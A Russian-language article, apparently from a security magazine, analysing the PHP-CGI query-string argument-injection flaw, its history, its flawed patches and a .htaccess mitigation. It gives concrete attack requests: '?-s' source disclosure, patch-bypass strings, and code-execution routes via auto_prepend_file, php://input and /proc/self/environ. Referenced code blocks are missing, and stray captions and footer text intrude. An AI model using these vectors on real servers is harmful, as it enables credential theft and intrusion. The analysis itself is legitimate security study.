Такая конфигурация Apache определяет, что для обработки запроса пользователя веб-сервер выполнит программу, путь до которой указан в директиве mod_action. Причем аргументы для запуска приложения генерируются самим веб-сервером. Один из наиболее важных аргументов — значение переменной окружения SCRIPT_FILENAME, в которой отражается полный путь до скрипта, к которому обратился пользователь. Если юзер передал какие-либо аргументы для скрипта в своем запросе, то они передаются через стандартное устройство ввода stdin. Вывод же данных по результату выполнения операции, как ты, наверное, уже догадался, происходит в стандартное устройство вывода stdout. Если абстрагироваться, то получается, что наш браузер напрямую передает данные в stdin бинарного приложения на удаленном сервере.

Суть огромного количества уязвимостей заключается в некорректной обработке системой данных, полученных от пользователя. А в случае с CGI за обработку данных, поступающих в stdin, отвечает сам веб-сервер. Но как именно он обрабатывает данные, поступающие от пользователя? Настало время обратиться к документации и понять, каким же все-таки образом преобразуются данные на пути от строки в браузере до попадания в устройство ввода stdin.

Согласно спецификации CGI RFC, если строка запроса, то есть данные после знака «?» в URI-адресе, не содержит неэкранированный символ «=», то веб-сервер должен считать такой запрос поисковым, разбивать строку запроса на символ «+» (экранированный пробел) и отправлять полученные ключевые слова через stdin CGI-обработчику. Apache все делает в точности, как описано в RFC: здесь его не в чем упрекнуть. А какие именно данные ждет на вход обработчик PHP-CGI? Интересный вопрос.

В 2004 году не кто иной, как Расмус Лердорф, он же отец-основатель PHP, предложил убрать из исходников CGI-обработчика следующий код:

Эти условия якобы мешали ему тестировать интерпретатор. На просьбу к разработчикам напомнить, зачем вообще этот код нужен, видимо, никто не откликнулся, после чего данный код был убран. Кроме того, никто не вспомнил, что разработчиками веб-сервера не было реализовано экранирование символа «-» перед передачей параметров в CGI-бинарник. Возможно, это бы прояснило суть присутствующих проверок, а именно то, что удаленный из исходников код представлял собой защиту против подобного поведения веб-сервера: в режиме CGI PHP он попросту не парсил stdin-параметры, предварительно определив свой режим запуска и осуществляя соответствующую проверку на наличие в переменных окружения значений, характерных для окружения веб-сервера.

Стандартная функция языка Си getopt(), используемая в данном коде, разбирает аргументы командной строки. Ее аргументы argc и argv являются счетчиком и массивом аргументов, которые передаются функции main() при запуске программы. Элемент argv, начинающийся с «-» (и не являющийся «-» или «–»), считается опцией. Отсутствие экранирования символа «-» в результате обработки запроса веб-сервером и заглушки при обработке потока с STDIN обработчиком CGI, приводит к возможности запустить обработчик с какой-либо поддерживаемой им опцией.

«Баг апача», — скажешь ты, но будешь неправ, так как на самом деле это фича. Все эти восемь лет любой сервер с PHP-CGI мог быть легко взломан с использованием лишь адресной строки браузера. Все же удивительно, что информация об уязвимости появилась спустя столько времени.

Эксплойты

Итак, уязвимость позволяет передать в php-cgi любые параметры, а их у него много, например:

  • s — показывает исходный код скрипта;
  • n — отключает использование директив из php.ini;
  • T — запускает скрипт n количество раз;
  • d foo[=bar] — устанавливает или перезаписывает значения директив из php.ini.

Просмотр данных для подключения к БД

Необходимо также сказать о параметре -r — он позволяет выполнять PHP-код напрямую, однако разработчики ограничили использование данной возможности в CGI-версии интерпретатора. Впрочем, это никак не мешает выполнению произвольного кода, так как существует другой способ. Но начнем, пожалуй, с более «безобидного» вектора.

Blackbox? Nope!

Речь идет о показе исходного кода скрипта. Для этого достаточно сделать запрос вида http://site.com/index.php?-s, и PHP без боя выдаст все твои секреты, любезно сделав подсветку синтаксиса. Именно этот вектор стал самым массовым, так как позволял легко определить наличие уязвимости. Когда появились сообщения об этом баге, первым делом я отправился проверять его на своем блоге. И, как ни странно, он прекрасно работал, причем на любом сайте моего хостера. В течение суток можно было, скажем, легко получить данные для подключения к базе данных, не говоря уже о выполнении кода.

Фейсбук с помощью фейковой уязвимости ищет таланты

RCE собственной персоной

Итак, каким образом можно выполнить код, если параметр -r недоступен? Все просто, ведь у нас есть возможность устанавливать значения любых директив конфигурации PHP, включая auto_prepend_file и auto_append_file, которые позволяют автоматически подключать указанный файл при выполнении любого скрипта. Чтобы подключить PHP-сценарий, расположенный на нашем сервере, необходимо также установить значение On для директивы allow_url_include, которая на большинстве серверов отключена по умолчанию, тем самым запрещая подключение внешних скриптов по URL. И наконец, чтобы нам не мешали подводные камни вроде Suhosin patch, призванные усилить защиту PHP, используем флаг ‘-n’. В этом случае PHP будет работать с дефолтными настройками php.ini, а значит, не загрузит нежелательные для нас расширения. В итоге конечный вектор будет выглядеть следующим образом:

Еще более удобный способ заключается в использовании внутреннего потока php://input, позволяющего получить доступ к необработанным POST-данным. Используя все ту же директиву auto_prepend_file вкупе с php://input, можно выполнять код без обращения к внешним ресурсам. Для этого POST-запрос должен иметь следующий вид:

Не инпутом единым

Последний вектор атаки основывается на все том же способе с автоматическим подключением сценария, однако вместо использования потоков ввода/вывода производится инжект кода в /proc/self/environ. Данный файл, вернее символическая ссылка, являясь частью виртуальной файловой системы ProcFS, содержит значения переменных окружения текущего процесса. Это как раз то, что нужно: ведь в режиме CGI для каждого HTTP-запроса создается отдельный процесс. ProcFS можно встретить в любой *nix-системе, за исключением FreeBSD, тем не менее доступ на чтение /proc/self/environ есть не всегда. При его наличии для успешного выполнения кода достаточно подключить /proc/self/environ через auto_prepend_file и поместить злой код, например в User-Agent:

Патченный патч

Действия разработчиков PHP по ходу всей этой истории выглядят довольно странно и отчасти комично. Мало того что им не хватило трех месяцев для устранения бага, автором которого по иронии судьбы стал сам основатель языка, так еще они умудрились выпустить бажный патч, который можно было легко обойти, слегка видоизменив запрос. Первоначальный патч содержал следующие строки:

Данный код проверяет строку запроса: если первый символ является дефисом и отсутствует «=», то PHP не будет парсить параметры в режиме CGI. Однако обрати внимание, что проверяется уже раскодированная строка запроса. Это значит, что возможен обход патча, если в запросе присутствует символ «=» в URL-кодировке (%3d). Иначе говоря, патч никак не повлиял на вектор для выполнения кода, поскольку там и так присутствует %3d, а для просмотра исходного кода потребовалось немного изменить запрос: /?-s+%3d.

Во второй версии патча decoded_query_string заменили на query_string, однако и эта попытка оказалась неудачной, так как был обнаружен еще один недочет. Дело в том, что на некоторых серверах используется неправильная обертка для запуска php-cgi. Например, хостер DreamHost, на котором был организован тот самый Nullcon CTF, как раз такую обертку и использовал:

Ошибка здесь в том, что параметры в php5.cgi передаются с помощью $* без двойных кавычек, то есть если первым символом строки запроса вместо дефиса будет пробел, то патч снова окажется неэффективным. Таким образом, при использовании неправильного промежуточного sh-скрипта для передачи параметров в php-cgi патч окажется бессильным перед запросом вида /?+-s. В итоге PHP так и не представили нормального решения проблемы. Самый простой способ полностью залатать дыру — использовать .htaccess со следующими правилами:

Данный набор правил реализует логику: «если в строке запроса отсутствует символ «=», но есть дефис, то веб-сервер должен вернуть ошибку с кодом 403 (Forbidden)».

Умный бэкдор фиксит уязвимость, размещая .htaccess

  • bit.ly/IwDW8y — адвизори от команды Eindbazen;
  • bit.ly/JuwsOR — внутренний тикет о баге в PHP-CGI, оказавшийся в паблике;
  • bit.ly/goqH0F — CGI RFC;
  • bit.ly/KsYavW — то самое злосчастное сообщение Расмуса Лердорфа 2004 года.

Заключение

Несомненно, за последние несколько лет PHP претерпел существенные изменения, вырос в один из самых мощных языков для создания веб-приложений. Однако последние уязвимости делают очевидным, что безопасность интерпретатора так и осталась на прежнем уровне, и баг в PHP-CGI идеальное тому подтверждение. Если разработчики будут продолжать в том же духе, не исключено, что в скором времени нас ждут еще более серьезные уязвимости.

Илон Маск рекомендует:  Что такое код cpdf_set_viewer_preferences
Понравилась статья? Поделиться с друзьями:
Кодинг, CSS и SQL
Новые статьи на IT-Guru.info от 11.02.2009